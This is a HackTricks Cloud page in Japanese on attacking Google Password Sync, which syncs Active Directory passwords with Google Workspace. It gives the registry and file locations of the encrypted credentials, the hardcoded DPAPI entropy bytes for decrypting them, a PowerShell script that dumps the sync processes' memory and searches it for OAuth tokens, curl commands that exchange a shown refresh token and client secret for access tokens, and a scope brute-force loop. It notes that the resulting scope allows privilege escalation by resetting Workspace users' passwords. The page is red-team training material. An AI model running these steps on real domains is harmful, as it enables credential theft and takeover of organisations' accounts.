GPS - Google Password Sync
Reading time: 11 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
基本情報
これは、Googleが提供するバイナリおよびサービスで、ADとWorkspace間でユーザーのパスワードを同期させるためのものです。ユーザーがADでパスワードを変更するたびに、それがGoogleに設定されます。
C:\Program Files\Google\Password Sync
にインストールされ、ここでバイナリPasswordSync.exe
を見つけて設定し、password_sync_service.exe
(実行を続けるサービス)があります。
GPS - 設定
このバイナリ(およびサービス)を設定するには、Workspace内のスーパ管理者の権限を与える必要があります:
- GoogleでOAuthを介してログインし、その後トークンをレジストリに(暗号化されて)保存します
- GUIのあるドメインコントローラーでのみ利用可能
- Workspaceユーザーを管理する権限を持つGCPのサービスアカウントの資格情報(jsonファイル)を提供
- これらの資格情報は期限切れにならず、悪用される可能性があるため非常に悪いアイデアです
- SAがGCPで侵害される可能性があるため、WorkspaceへのSAアクセスを与えるのは非常に悪いアイデアです
- GUIのないドメイン制御にはGoogleが必要とします
- これらの資格情報もレジストリに保存されます
ADに関しては、現在のアプリケーションコンテキスト、匿名、または特定の資格情報を使用するように指示することが可能です。資格情報オプションが選択された場合、ユーザー名はディスク内のファイルに保存され、パスワードは暗号化されてレジストリに保存されます。
GPS - ディスクからのパスワードとトークンのダンプ
tip
WinpeasはGPSを検出し、設定に関する情報を取得し、パスワードとトークンを復号化することができます。
ファイル**C:\ProgramData\Google\Google Apps Password Sync\config.xml
には、設定の一部としてADのbaseDN
や使用されているユーザー名**が見つかります。
レジストリ**HKLM\Software\Google\Google Apps Password Sync
には、暗号化されたリフレッシュトークンとADユーザーのための暗号化されたパスワード**(存在する場合)が見つかります。さらに、トークンの代わりにSA資格情報が使用されている場合、それらもそのレジストリアドレスに暗号化されて見つかります。このレジストリ内の値は管理者のみがアクセス可能です。
暗号化されたパスワード(存在する場合)は**ADPassword
キー内にあり、CryptProtectData
** APIを使用して暗号化されています。復号化するには、パスワード同期を設定したのと同じユーザーである必要があり、CryptUnprotectData
を使用する際にこのエントロピーを使用します:byte[] entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };
暗号化されたトークン(存在する場合)は**AuthToken
キー内にあり、CryptProtectData
** APIを使用して暗号化されています。復号化するには、パスワード同期を設定したのと同じユーザーである必要があり、CryptUnprotectData
を使用する際にこのエントロピーを使用します:byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b };
さらに、これは**0123456789abcdefghijklmnopqrstv
**という辞書を使用してbase32hexでエンコードされています。
エントロピー値はツールを使用して見つかりました。このツールは**CryptUnprotectData
およびCryptProtectData
への呼び出しを監視するように設定され、その後、PasswordSync.exe
を起動して監視するために使用され、設定されたパスワードと認証トークンを最初に復号化し、ツールは両方のケースで使用されたエントロピーの値を表示**します:

これらのAPIへの呼び出しの入力または出力で復号化された値を見ることも可能です(Winpeasが動作しなくなった場合に備えて)。
パスワード同期がSA資格情報で設定されている場合、それもレジストリ**HKLM\Software\Google\Google Apps Password Sync
**内のキーに保存されます。
GPS - メモリからのトークンのダンプ
GCPWと同様に、PasswordSync.exe
およびpassword_sync_service.exe
プロセスのメモリをダンプすることが可能で、リフレッシュトークンとアクセストークン(すでに生成されている場合)を見つけることができます。
ADに設定された資格情報も見つけることができると思います。
PasswordSync.exe
およびpassword_sync_service.exe
プロセスをダンプしてトークンを検索
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\strings.exe"
$dumpFolder = "C:\Users\Public\dumps"
# Regular expressions for tokens
$tokenRegexes = @(
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
"1//[a-zA-Z0-9_\.\-]{50,}"
)
# Show EULA if it wasn't accepted yet for strings
$stringsPath
# Create a directory for the dumps if it doesn't exist
if (!(Test-Path $dumpFolder)) {
New-Item -Path $dumpFolder -ItemType Directory
}
# Get all Chrome process IDs
$processNames = @("PasswordSync", "password_sync_service")
$chromeProcesses = Get-Process | Where-Object { $processNames -contains $_.Name } | Select-Object -ExpandProperty Id
# Dump each Chrome process
foreach ($processId in $chromeProcesses) {
Write-Output "Dumping process with PID: $processId"
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
}
# Extract strings and search for tokens in each dump
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
$dumpFile = $_.FullName
$baseName = $_.BaseName
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"
Write-Output "Extracting strings from $dumpFile"
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
& $stringsPath -n 50 -nobanner -u $dumpFile > $unicodeStringsFile
$outputFiles = @($asciiStringsFile, $unicodeStringsFile)
foreach ($file in $outputFiles) {
foreach ($regex in $tokenRegexes) {
$matches = Select-String -Path $file -Pattern $regex -AllMatches
$uniqueMatches = @{}
foreach ($matchInfo in $matches) {
foreach ($match in $matchInfo.Matches) {
$matchValue = $match.Value
if (-not $uniqueMatches.ContainsKey($matchValue)) {
$uniqueMatches[$matchValue] = @{
LineNumber = $matchInfo.LineNumber
LineText = $matchInfo.Line.Trim()
FilePath = $matchInfo.Path
}
}
}
}
foreach ($matchValue in $uniqueMatches.Keys) {
$info = $uniqueMatches[$matchValue]
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
}
}
Write-Output ""
}
}
GPS - リフレッシュトークンからアクセストークンを生成する
リフレッシュトークンを使用して、次のコマンドで指定されたクライアントIDとクライアントシークレットを使用してアクセストークンを生成することができます:
curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \
https://www.googleapis.com/oauth2/v4/token
GPS - スコープ
note
リフレッシュトークンを持っていても、アクセストークンを生成しているアプリケーションでサポートされているスコープのみを要求できるため、アクセストークンのために任意のスコープを要求することはできません。
また、リフレッシュトークンはすべてのアプリケーションで有効ではありません。
デフォルトでは、GPSはユーザーとしてすべての可能なOAuthスコープにアクセスできないため、次のスクリプトを使用して、refresh_token
を使用してaccess_token
を生成するために使用できるスコープを見つけることができます:
Bashスクリプトでスコープをブルートフォースする
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope \r"
if ! curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \
--data "scope=$scope" \
https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then
echo ""
echo $scope
echo $scope >> /tmp/valid_scopes.txt
fi
done
echo ""
echo ""
echo "Valid scopes:"
cat /tmp/valid_scopes.txt
rm /tmp/valid_scopes.txt
そして、これが執筆時に得られた出力です:
https://www.googleapis.com/auth/admin.directory.user
どのスコープも指定しない場合と同じです。
caution
このスコープでは、既存のユーザーのパスワードを変更して特権を昇格させることができます。
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。